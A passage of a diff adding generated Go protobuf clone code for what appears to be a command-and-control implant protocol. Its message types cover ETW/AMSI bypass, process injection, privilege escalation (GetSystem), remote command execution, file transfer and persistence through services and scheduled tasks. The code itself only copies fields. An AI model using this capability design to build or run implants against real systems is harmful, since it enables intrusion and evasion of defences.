(*ExecuteBinary_ParamEntry) ProtoMessage() {} + +func (x *ExecuteBinary_ParamEntry) GetKey() string { + if x != nil { + return x.Key + } + return "" +} + +func (x *ExecuteBinary_ParamEntry) GetValue() string { + if x != nil { + return x.Value + } + return "" +} + +type CurlRequest_HeaderEntry struct { + unknownFields []byte + Key string `protobuf:"bytes,1,opt,name=key,proto3" json:"key,omitempty"` + Value string `protobuf:"bytes,2,opt,name=value,proto3" json:"value,omitempty"` +} + +func (x *CurlRequest_HeaderEntry) Reset() { + *x = CurlRequest_HeaderEntry{} +} + +func (*CurlRequest_HeaderEntry) ProtoMessage() {} + +func (x *CurlRequest_HeaderEntry) GetKey() string { + if x != nil { + return x.Key + } + return "" +} + +func (x *CurlRequest_HeaderEntry) GetValue() string { + if x != nil { + return x.Value + } + return "" +} + +type WmiMethodRequest_ParamsEntry struct { + unknownFields []byte + Key string `protobuf:"bytes,1,opt,name=key,proto3" json:"key,omitempty"` + Value string `protobuf:"bytes,2,opt,name=value,proto3" json:"value,omitempty"` +} + +func (x *WmiMethodRequest_ParamsEntry) Reset() { + *x = WmiMethodRequest_ParamsEntry{} +} + +func (*WmiMethodRequest_ParamsEntry) ProtoMessage() {} + +func (x *WmiMethodRequest_ParamsEntry) GetKey() string { + if x != nil { + return x.Key + } + return "" +} + +func (x *WmiMethodRequest_ParamsEntry) GetValue() string { + if x != nil { + return x.Value + } + return "" +} + +type PtyRequest_ParamsEntry struct { + unknownFields []byte + Key string `protobuf:"bytes,1,opt,name=key,proto3" json:"key,omitempty"` + Value string `protobuf:"bytes,2,opt,name=value,proto3" json:"value,omitempty"` +} + +func (x *PtyRequest_ParamsEntry) Reset() { + *x = PtyRequest_ParamsEntry{} +} + +func (*PtyRequest_ParamsEntry) ProtoMessage() {} + +func (x *PtyRequest_ParamsEntry) GetKey() string { + if x != nil { + return x.Key + } + return "" +} + +func (x *PtyRequest_ParamsEntry) GetValue() string { + if x != nil { + return x.Value + } + return "" +} + +type PtyResponse_MetadataEntry struct { + unknownFields []byte + Key string `protobuf:"bytes,1,opt,name=key,proto3" json:"key,omitempty"` + Value string `protobuf:"bytes,2,opt,name=value,proto3" json:"value,omitempty"` +} + +func (x *PtyResponse_MetadataEntry) Reset() { + *x = PtyResponse_MetadataEntry{} +} + +func (*PtyResponse_MetadataEntry) ProtoMessage() {} + +func (x *PtyResponse_MetadataEntry) GetKey() string { + if x != nil { + return x.Key + } + return "" +} + +func (x *PtyResponse_MetadataEntry) GetValue() string { + if x != nil { + return x.Value + } + return "" +} + +func (m *Ping) CloneVT() *Ping { + if m == nil { + return (*Ping)(nil) + } + r := new(Ping) + r.Nonce = m.Nonce + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *Ping) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *Register) CloneVT() *Register { + if m == nil { + return (*Register)(nil) + } + r := new(Register) + r.Name = m.Name + r.Proxy = m.Proxy + r.Timer = m.Timer.CloneVT() + r.Sysinfo = m.Sysinfo.CloneVT() + r.Secure = m.Secure.CloneVT() + if rhs := m.Module; rhs != nil { + r.Module = slices.Clone(rhs) + } + if rhs := m.Addons; rhs != nil { + r.Addons = make([]*Addon, len(rhs)) + for k, v := range rhs { + r.Addons[k] = v.CloneVT() + } + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *Register) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *Secure) CloneVT() *Secure { + if m == nil { + return (*Secure)(nil) + } + r := new(Secure) + r.Enable = m.Enable + r.Key = m.Key + r.Type = m.Type + r.PublicKey = m.PublicKey + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *Secure) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *KeyExchangeRequest) CloneVT() *KeyExchangeRequest { + if m == nil { + return (*KeyExchangeRequest)(nil) + } + r := new(KeyExchangeRequest) + r.PublicKey = m.PublicKey + r.Timestamp = m.Timestamp + r.Nonce = m.Nonce + if rhs := m.Signature; rhs != nil { + r.Signature = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *KeyExchangeRequest) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *KeyExchangeResponse) CloneVT() *KeyExchangeResponse { + if m == nil { + return (*KeyExchangeResponse)(nil) + } + r := new(KeyExchangeResponse) + r.PublicKey = m.PublicKey + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *KeyExchangeResponse) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *Init) CloneVT() *Init { + if m == nil { + return (*Init)(nil) + } + r := new(Init) + if rhs := m.Data; rhs != nil { + r.Data = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *Init) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *SysInfo) CloneVT() *SysInfo { + if m == nil { + return (*SysInfo)(nil) + } + r := new(SysInfo) + r.Filepath = m.Filepath + r.Workdir = m.Workdir + r.IsPrivilege = m.IsPrivilege + r.Os = m.Os.CloneVT() + r.Process = m.Process.CloneVT() + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *SysInfo) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *Suicide) CloneVT() *Suicide { + if m == nil { + return (*Suicide)(nil) + } + r := new(Suicide) + r.Type = m.Type + r.Timestamp = m.Timestamp + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *Suicide) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *Request) CloneVT() *Request { + if m == nil { + return (*Request)(nil) + } + r := new(Request) + r.Name = m.Name + r.Input = m.Input + if rhs := m.Args; rhs != nil { + r.Args = slices.Clone(rhs) + } + if rhs := m.Params; rhs != nil { + r.Params = maps.Clone(rhs) + } + if rhs := m.Bin; rhs != nil { + r.Bin = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *Request) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *Response) CloneVT() *Response { + if m == nil { + return (*Response)(nil) + } + r := new(Response) + r.Output = m.Output + r.Error = m.Error + if rhs := m.Kv; rhs != nil { + r.Kv = maps.Clone(rhs) + } + if rhs := m.Array; rhs != nil { + r.Array = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *Response) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *BypassRequest) CloneVT() *BypassRequest { + if m == nil { + return (*BypassRequest)(nil) + } + r := new(BypassRequest) + r.ETW = m.ETW + r.AMSI = m.AMSI + r.BlockDll = m.BlockDll + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *BypassRequest) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *NetInterface) CloneVT() *NetInterface { + if m == nil { + return (*NetInterface)(nil) + } + r := new(NetInterface) + r.Index = m.Index + r.Name = m.Name + r.Mac = m.Mac + if rhs := m.IpAddresses; rhs != nil { + r.IpAddresses = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *NetInterface) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *SockTabEntry) CloneVT() *SockTabEntry { + if m == nil { + return (*SockTabEntry)(nil) + } + r := new(SockTabEntry) + r.LocalAddr = m.LocalAddr + r.RemoteAddr = m.RemoteAddr + r.SkState = m.SkState + r.Pid = m.Pid + r.Protocol = m.Protocol + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *SockTabEntry) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *NetstatResponse) CloneVT() *NetstatResponse { + if m == nil { + return (*NetstatResponse)(nil) + } + r := new(NetstatResponse) + if rhs := m.Socks; rhs != nil { + r.Socks = make([]*SockTabEntry, len(rhs)) + for k, v := range rhs { + r.Socks[k] = v.CloneVT() + } + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *NetstatResponse) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *Block) CloneVT() *Block { + if m == nil { + return (*Block)(nil) + } + r := new(Block) + r.BlockId = m.BlockId + r.End = m.End + if rhs := m.Content; rhs != nil { + r.Content = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *Block) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *ACK) CloneVT() *ACK { + if m == nil { + return (*ACK)(nil) + } + r := new(ACK) + r.Id = m.Id + r.Success = m.Success + r.End = m.End + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *ACK) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *Os) CloneVT() *Os { + if m == nil { + return (*Os)(nil) + } + r := new(Os) + r.Name = m.Name + r.Version = m.Version + r.Release = m.Release + r.Arch = m.Arch + r.Username = m.Username + r.Hostname = m.Hostname + r.Locale = m.Locale + if rhs := m.ClrVersion; rhs != nil { + r.ClrVersion = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *Os) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *Process) CloneVT() *Process { + if m == nil { + return (*Process)(nil) + } + r := new(Process) + r.Name = m.Name + r.Pid = m.Pid + r.Ppid = m.Ppid + r.Owner = m.Owner + r.Arch = m.Arch + r.Path = m.Path + r.Args = m.Args + r.Uid = m.Uid + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *Process) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *Timer) CloneVT() *Timer { + if m == nil { + return (*Timer)(nil) + } + r := new(Timer) + r.Expression = m.Expression + r.Jitter = m.Jitter + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *Timer) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *FileInfo) CloneVT() *FileInfo { + if m == nil { + return (*FileInfo)(nil) + } + r := new(FileInfo) + r.Name = m.Name + r.IsDir = m.IsDir + r.Size = m.Size + r.ModTime = m.ModTime + r.Mode = m.Mode + r.Link = m.Link + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *FileInfo) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *SacrificeProcess) CloneVT() *SacrificeProcess { + if m == nil { + return (*SacrificeProcess)(nil) + } + r := new(SacrificeProcess) + r.Hidden = m.Hidden + r.BlockDll = m.BlockDll + r.Etw = m.Etw + r.Ppid = m.Ppid + r.Argue = m.Argue + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *SacrificeProcess) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *LsResponse) CloneVT() *LsResponse { + if m == nil { + return (*LsResponse)(nil) + } + r := new(LsResponse) + r.Path = m.Path + r.Exists = m.Exists + if rhs := m.Files; rhs != nil { + r.Files = make([]*FileInfo, len(rhs)) + for k, v := range rhs { + r.Files[k] = v.CloneVT() + } + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *LsResponse) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *DriveInfo) CloneVT() *DriveInfo { + if m == nil { + return (*DriveInfo)(nil) + } + r := new(DriveInfo) + r.Path = m.Path + r.DriveType = m.DriveType + r.TotalSize = m.TotalSize + r.FreeSize = m.FreeSize + r.FileSystem = m.FileSystem + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *DriveInfo) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *EnumDriversResponse) CloneVT() *EnumDriversResponse { + if m == nil { + return (*EnumDriversResponse)(nil) + } + r := new(EnumDriversResponse) + if rhs := m.Drives; rhs != nil { + r.Drives = make([]*DriveInfo, len(rhs)) + for k, v := range rhs { + r.Drives[k] = v.CloneVT() + } + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *EnumDriversResponse) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *PsResponse) CloneVT() *PsResponse { + if m == nil { + return (*PsResponse)(nil) + } + r := new(PsResponse) + if rhs := m.Processes; rhs != nil { + r.Processes = make([]*Process, len(rhs)) + for k, v := range rhs { + r.Processes[k] = v.CloneVT() + } + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *PsResponse) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *ExecRequest) CloneVT() *ExecRequest { + if m == nil { + return (*ExecRequest)(nil) + } + r := new(ExecRequest) + r.Path = m.Path + r.Output = m.Output + r.Singleton = m.Singleton + r.Realtime = m.Realtime + r.Ppid = m.Ppid + if rhs := m.Args; rhs != nil { + r.Args = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *ExecRequest) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *ExecResponse) CloneVT() *ExecResponse { + if m == nil { + return (*ExecResponse)(nil) + } + r := new(ExecResponse) + r.StatusCode = m.StatusCode + r.Pid = m.Pid + r.End = m.End + if rhs := m.Stdout; rhs != nil { + r.Stdout = slices.Clone(rhs) + } + if rhs := m.Stderr; rhs != nil { + r.Stderr = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *ExecResponse) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *BinaryResponse) CloneVT() *BinaryResponse { + if m == nil { + return (*BinaryResponse)(nil) + } + r := new(BinaryResponse) + r.Err = m.Err + r.Status = m.Status + if rhs := m.Data; rhs != nil { + r.Data = slices.Clone(rhs) + } + if rhs := m.Message; rhs != nil { + r.Message = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *BinaryResponse) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *Modules) CloneVT() *Modules { + if m == nil { + return (*Modules)(nil) + } + r := new(Modules) + if rhs := m.Modules; rhs != nil { + r.Modules = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *Modules) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *Addons) CloneVT() *Addons { + if m == nil { + return (*Addons)(nil) + } + r := new(Addons) + if rhs := m.Addons; rhs != nil { + r.Addons = make([]*Addon, len(rhs)) + for k, v := range rhs { + r.Addons[k] = v.CloneVT() + } + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *Addons) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *Addon) CloneVT() *Addon { + if m == nil { + return (*Addon)(nil) + } + r := new(Addon) + r.Name = m.Name + r.Type = m.Type + r.Depend = m.Depend + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *Addon) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *LoadModule) CloneVT() *LoadModule { + if m == nil { + return (*LoadModule)(nil) + } + r := new(LoadModule) + r.Bundle = m.Bundle + if rhs := m.Bin; rhs != nil { + r.Bin = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *LoadModule) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *LoadAddon) CloneVT() *LoadAddon { + if m == nil { + return (*LoadAddon)(nil) + } + r := new(LoadAddon) + r.Name = m.Name + r.Type = m.Type + r.Depend = m.Depend + if rhs := m.Bin; rhs != nil { + r.Bin = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *LoadAddon) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *ExecuteAddon) CloneVT() *ExecuteAddon { + if m == nil { + return (*ExecuteAddon)(nil) + } + r := new(ExecuteAddon) + r.Addon = m.Addon + r.ExecuteBinary = m.ExecuteBinary.CloneVT() + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *ExecuteAddon) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *ExecuteBinary) CloneVT() *ExecuteBinary { + if m == nil { + return (*ExecuteBinary)(nil) + } + r := new(ExecuteBinary) + r.Name = m.Name + r.Type = m.Type + r.ProcessName = m.ProcessName + r.EntryPoint = m.EntryPoint + r.Output = m.Output + r.Arch = m.Arch + r.Timeout = m.Timeout + r.Sacrifice = m.Sacrifice.CloneVT() + r.Path = m.Path + r.Context = m.Context + r.Delay = m.Delay + if rhs := m.Bin; rhs != nil { + r.Bin = slices.Clone(rhs) + } + if rhs := m.Param; rhs != nil { + r.Param = maps.Clone(rhs) + } + if rhs := m.Args; rhs != nil { + r.Args = slices.Clone(rhs) + } + if rhs := m.Data; rhs != nil { + r.Data = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *ExecuteBinary) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *ExecuteCommand) CloneVT() *ExecuteCommand { + if m == nil { + return (*ExecuteCommand)(nil) + } + r := new(ExecuteCommand) + r.Command = m.Command + r.Sacrifice = m.Sacrifice.CloneVT() + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *ExecuteCommand) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *UploadRequest) CloneVT() *UploadRequest { + if m == nil { + return (*UploadRequest)(nil) + } + r := new(UploadRequest) + r.Name = m.Name + r.Target = m.Target + r.Priv = m.Priv + r.Hidden = m.Hidden + r.Override = m.Override + if rhs := m.Data; rhs != nil { + r.Data = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *UploadRequest) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *DownloadRequest) CloneVT() *DownloadRequest { + if m == nil { + return (*DownloadRequest)(nil) + } + r := new(DownloadRequest) + r.Path = m.Path + r.Name = m.Name + r.BufferSize = m.BufferSize + r.Dir = m.Dir + r.Cur = m.Cur + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *DownloadRequest) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *DownloadResponse) CloneVT() *DownloadResponse { + if m == nil { + return (*DownloadResponse)(nil) + } + r := new(DownloadResponse) + r.Checksum = m.Checksum + r.Size = m.Size + r.Cur = m.Cur + if rhs := m.Content; rhs != nil { + r.Content = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *DownloadResponse) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *CurlRequest) CloneVT() *CurlRequest { + if m == nil { + return (*CurlRequest)(nil) + } + r := new(CurlRequest) + r.Url = m.Url + r.Timeout = m.Timeout + r.Method = m.Method + r.Hostname = m.Hostname + if rhs := m.Body; rhs != nil { + r.Body = slices.Clone(rhs) + } + if rhs := m.Header; rhs != nil { + r.Header = maps.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *CurlRequest) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *ChownRequest) CloneVT() *ChownRequest { + if m == nil { + return (*ChownRequest)(nil) + } + r := new(ChownRequest) + r.Path = m.Path + r.Uid = m.Uid + r.Gid = m.Gid + r.Recursive = m.Recursive + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *ChownRequest) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *IfconfigResponse) CloneVT() *IfconfigResponse { + if m == nil { + return (*IfconfigResponse)(nil) + } + r := new(IfconfigResponse) + if rhs := m.NetInterfaces; rhs != nil { + r.NetInterfaces = make([]*NetInterface, len(rhs)) + for k, v := range rhs { + r.NetInterfaces[k] = v.CloneVT() + } + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *IfconfigResponse) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *RegistryRequest) CloneVT() *RegistryRequest { + if m == nil { + return (*RegistryRequest)(nil) + } + r := new(RegistryRequest) + r.Type = m.Type + r.Registry = m.Registry.CloneVT() + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *RegistryRequest) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *Registry) CloneVT() *Registry { + if m == nil { + return (*Registry)(nil) + } + r := new(Registry) + r.Hive = m.Hive + r.Path = m.Path + r.Key = m.Key + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *Registry) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *RegistryWriteRequest) CloneVT() *RegistryWriteRequest { + if m == nil { + return (*RegistryWriteRequest)(nil) + } + r := new(RegistryWriteRequest) + r.Hive = m.Hive + r.Path = m.Path + r.Key = m.Key + r.StringValue = m.StringValue + r.DwordValue = m.DwordValue + r.QwordValue = m.QwordValue + r.Regtype = m.Regtype + if rhs := m.ByteValue; rhs != nil { + r.ByteValue = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *RegistryWriteRequest) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *TaskScheduleRequest) CloneVT() *TaskScheduleRequest { + if m == nil { + return (*TaskScheduleRequest)(nil) + } + r := new(TaskScheduleRequest) + r.Type = m.Type + r.Taskschd = m.Taskschd.CloneVT() + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *TaskScheduleRequest) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *TaskSchedule) CloneVT() *TaskSchedule { + if m == nil { + return (*TaskSchedule)(nil) + } + r := new(TaskSchedule) + r.Name = m.Name + r.Path = m.Path + r.ExecutablePath = m.ExecutablePath + r.TriggerType = m.TriggerType + r.StartBoundary = m.StartBoundary + r.Description = m.Description + r.Enabled = m.Enabled + r.LastRunTime = m.LastRunTime + r.NextRunTime = m.NextRunTime + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *TaskSchedule) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *TaskSchedulesResponse) CloneVT() *TaskSchedulesResponse { + if m == nil { + return (*TaskSchedulesResponse)(nil) + } + r := new(TaskSchedulesResponse) + if rhs := m.Schedules; rhs != nil { + r.Schedules = make([]*TaskSchedule, len(rhs)) + for k, v := range rhs { + r.Schedules[k] = v.CloneVT() + } + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *TaskSchedulesResponse) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *ServiceRequest) CloneVT() *ServiceRequest { + if m == nil { + return (*ServiceRequest)(nil) + } + r := new(ServiceRequest) + r.Type = m.Type + r.Service = m.Service.CloneVT() + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *ServiceRequest) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *ServiceConfig) CloneVT() *ServiceConfig { + if m == nil { + return (*ServiceConfig)(nil) + } + r := new(ServiceConfig) + r.Name = m.Name + r.DisplayName = m.DisplayName + r.ExecutablePath = m.ExecutablePath + r.StartType = m.StartType + r.ErrorControl = m.ErrorControl + r.AccountName = m.AccountName + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *ServiceConfig) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *ServiceStatus) CloneVT() *ServiceStatus { + if m == nil { + return (*ServiceStatus)(nil) + } + r := new(ServiceStatus) + r.CurrentState = m.CurrentState + r.ProcessId = m.ProcessId + r.ExitCode = m.ExitCode + r.Checkpoint = m.Checkpoint + r.WaitHint = m.WaitHint + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *ServiceStatus) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *Service) CloneVT() *Service { + if m == nil { + return (*Service)(nil) + } + r := new(Service) + r.Config = m.Config.CloneVT() + r.Status = m.Status.CloneVT() + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *Service) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *ServicesResponse) CloneVT() *ServicesResponse { + if m == nil { + return (*ServicesResponse)(nil) + } + r := new(ServicesResponse) + if rhs := m.Services; rhs != nil { + r.Services = make([]*Service, len(rhs)) + for k, v := range rhs { + r.Services[k] = v.CloneVT() + } + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *ServicesResponse) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *WmiQueryRequest) CloneVT() *WmiQueryRequest { + if m == nil { + return (*WmiQueryRequest)(nil) + } + r := new(WmiQueryRequest) + r.Namespace = m.Namespace + if rhs := m.Args; rhs != nil { + r.Args = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *WmiQueryRequest) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *WmiMethodRequest) CloneVT() *WmiMethodRequest { + if m == nil { + return (*WmiMethodRequest)(nil) + } + r := new(WmiMethodRequest) + r.Namespace = m.Namespace + r.ClassName = m.ClassName + r.MethodName = m.MethodName + if rhs := m.Params; rhs != nil { + r.Params = maps.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *WmiMethodRequest) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *RunAsRequest) CloneVT() *RunAsRequest { + if m == nil { + return (*RunAsRequest)(nil) + } + r := new(RunAsRequest) + r.Username = m.Username + r.Domain = m.Domain + r.Password = m.Password + r.Program = m.Program + r.Args = m.Args + r.UseProfile = m.UseProfile + r.Netonly = m.Netonly + r.UseEnv = m.UseEnv + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *RunAsRequest) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *GetSystem) CloneVT() *GetSystem { + if m == nil { + return (*GetSystem)(nil) + } + r := new(GetSystem) + r.Pid = m.Pid + if rhs := m.Bin; rhs != nil { + r.Bin = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *GetSystem) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *Inject) CloneVT() *Inject { + if m == nil { + return (*Inject)(nil) + } + r := new(Inject) + r.Pid = m.Pid + if rhs := m.Bin; rhs != nil { + r.Bin = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *Inject) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *Pipe) CloneVT() *Pipe { + if m == nil { + return (*Pipe)(nil) + } + r := new(Pipe) + r.Name = m.Name + r.Target = m.Target + if rhs := m.Data; rhs != nil 